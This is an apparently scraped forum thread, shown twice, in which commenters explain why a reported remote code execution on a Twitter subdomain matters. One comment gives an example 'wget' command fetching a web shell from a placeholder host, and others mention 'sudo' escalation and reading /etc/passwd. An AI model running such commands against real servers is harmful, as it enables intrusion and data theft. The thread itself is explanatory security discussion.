6 ms·

anyone care to let me know just why this is so bad? i.e. does it really matter?

Rygu 12y ago
Seems that he was able to execute the "uptime" terminal command via that URL, and the output was served as page content. Now imagine what other dangerous terminal commands he could run.
xamolxix 12y ago
He seems to be executing the "uptime" command. If that is not the only one he can (which most likely it isn't) it's bad.
ricANNArdo 12y ago
Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.
- VLM 12y ago
  Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it. This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.
- icebraining 12y ago
  'sudo <command>' for priviledge execution Well, I hope it's not too much to expect the webserver user not to have sudo permissions.
RyanZAG 12y ago
It's a standard remote code execution exploit. It's as bad as it gets in security vulnerabilities. He is running shell commands through the Twitter server - the 'uptime' command is just a demo. He could also access privates files and possibly gain access to secure data that would let him access all data stored on Twitter servers, etc. He could also alter the twitter code to display anything he wanted to twitter users.
- xamolxix 12y ago
  > He could also alter the twitter code to display anything he wanted to twitter users. Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. It's still pretty bad and embarrassing.
  - Argorak 12y ago
    > Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. Subdomains can run on the same server. Also, the code is uninteresting, data usually is. Also, higher permissions are just one OS exploit away. As with many exploits, it's a stepping stone, but a big one. The combination matters.
deleted 12y ago
[deleted]
Argorak 12y ago
This is a remote code execution, allowing attackers to run commands of their choice on the server with the user and privileges of the webserver. Now, if one of the following is true (and thats quite common): * The webserver has access to sensitive data * The operating system has a bug that allows getting higher privileges as an unprivileged user without credentials The machine is hacked and broken. (either the sensitive data can be extracted or the machine can be reconfigured) This is why remote code execution is rated very high as a vulnerability. A common way to prove this is by running a command that doesn't do any direct harm. uptime is quite usual, reading /etc/passwd is also quite usual.
- gatehouse 12y ago
  I'm not sure about the mechanics of this, but at a minimum the webserver probably has access to the HTTPS private key for the subdomain, or at least has it in memory, since the request is shown to be running over HTTPS.
  - Argorak 12y ago
    Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit. (http://en.wikipedia.org/wiki/Process_isolation http://en.wikipedia.org/wiki/Process_isolation) But the keys are most likely on disk, readable by the server ;). Also, some setups are not prone to this: Twitter most likely uses an proxy terminating SSL and then forwards the request to a smaller webserver running the app. This one will not hold the keys. Most larger webservers can also run the app workers with a different user than the webserver itself.
    - sheetjs 12y ago
      > Twitter most likely uses an proxy terminating SSL https://en.wikipedia.org/wiki/SSL_termination_proxy https://en.wikipedia.org/wiki/SSL_termination_proxy
    - Ded7xSEoPKYNsDd 12y ago
      All web servers I've seen open the key files before dropping root privileges. These should never be readable by anything but root.
nraynaud 12y ago
it took me some time to understand that he remotely executed a command and had chosen "uptime", and it's not an uptime web page.

Rygu 12y ago

Seems that he was able to execute the "uptime" terminal command via that URL, and the output was served as page content. Now imagine what other dangerous terminal commands he could run.

xamolxix 12y ago

He seems to be executing the "uptime" command. If that is not the only one he can (which most likely it isn't) it's bad.

ricANNArdo 12y ago

Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.

VLM 12y ago
Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it. This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.
icebraining 12y ago
'sudo <command>' for priviledge execution Well, I hope it's not too much to expect the webserver user not to have sudo permissions.

RyanZAG 12y ago

It's a standard remote code execution exploit. It's as bad as it gets in security vulnerabilities. He is running shell commands through the Twitter server - the 'uptime' command is just a demo. He could also access privates files and possibly gain access to secure data that would let him access all data stored on Twitter servers, etc. He could also alter the twitter code to display anything he wanted to twitter users.

xamolxix 12y ago
> He could also alter the twitter code to display anything he wanted to twitter users. Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. It's still pretty bad and embarrassing.
- Argorak 12y ago
  > Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. Subdomains can run on the same server. Also, the code is uninteresting, data usually is. Also, higher permissions are just one OS exploit away. As with many exploits, it's a stepping stone, but a big one. The combination matters.

deleted 12y ago

[deleted]

Argorak 12y ago

This is a remote code execution, allowing attackers to run commands of their choice on the server with the user and privileges of the webserver. Now, if one of the following is true (and thats quite common): * The webserver has access to sensitive data * The operating system has a bug that allows getting higher privileges as an unprivileged user without credentials The machine is hacked and broken. (either the sensitive data can be extracted or the machine can be reconfigured) This is why remote code execution is rated very high as a vulnerability. A common way to prove this is by running a command that doesn't do any direct harm. uptime is quite usual, reading /etc/passwd is also quite usual.

gatehouse 12y ago
I'm not sure about the mechanics of this, but at a minimum the webserver probably has access to the HTTPS private key for the subdomain, or at least has it in memory, since the request is shown to be running over HTTPS.
- Argorak 12y ago
  Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit. (http://en.wikipedia.org/wiki/Process_isolation http://en.wikipedia.org/wiki/Process_isolation) But the keys are most likely on disk, readable by the server ;). Also, some setups are not prone to this: Twitter most likely uses an proxy terminating SSL and then forwards the request to a smaller webserver running the app. This one will not hold the keys. Most larger webservers can also run the app workers with a different user than the webserver itself.
  - sheetjs 12y ago
    > Twitter most likely uses an proxy terminating SSL https://en.wikipedia.org/wiki/SSL_termination_proxy https://en.wikipedia.org/wiki/SSL_termination_proxy
  - Ded7xSEoPKYNsDd 12y ago
    All web servers I've seen open the key files before dropping root privileges. These should never be readable by anything but root.

nraynaud 12y ago

it took me some time to understand that he remotely executed a command and had chosen "uptime", and it's not an uptime web page.